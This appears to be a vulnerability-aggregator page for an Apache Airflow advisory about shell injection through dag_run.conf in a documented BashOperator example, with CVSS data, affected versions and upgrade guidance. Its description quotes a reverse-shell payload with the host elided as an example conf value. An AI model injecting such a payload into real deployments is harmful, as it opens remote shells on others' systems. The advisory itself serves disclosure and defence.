CVE-2026-42252: Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern
This Apache advisory covers CVE-2026-42252 in Apache Airflow.
- CVE-2026-42252
Key facts
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N· base score 9.1, scored by CISA-ADPAttack vector: network. Attack complexity: low. Privileges required: none. User interaction: none. Scope: unchanged. Confidentiality impact: high. Integrity impact: high. Availability impact: none.- Weakness
- CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
- CISA SSVC
- Exploitation: none observed. Automatable: yes. Technical impact: total. CISA, .
- CISA KEV
- Not listed (catalogue checked )
- Affected
- Apache Airflow 3.0.0 before 3.2.2
- Fixed in
- 3.2.2
- Source published
- Source revised
- Listed by VulniPulse
Compiled by VulniPulse from the linked sources. How records are collected and checked.
Affected products & platforms
Description
Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning.
Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker.
This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example.
Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.
Text from the source record.
- Apache Airflow 3.0.0 before 3.2.2
Official advisory · medium-confidence parse· fetched ·verify at source
How to fix CVE-2026-42252
Upgrade to a fixed release named by Apache:
- 3.2.2
Vendor guidance
- Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.
Support dates for the fixed release lines
- Apache Airflow 3.2: support ended
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Apache Software Foundation advisories, June 2026All Apache Software Foundation advisories
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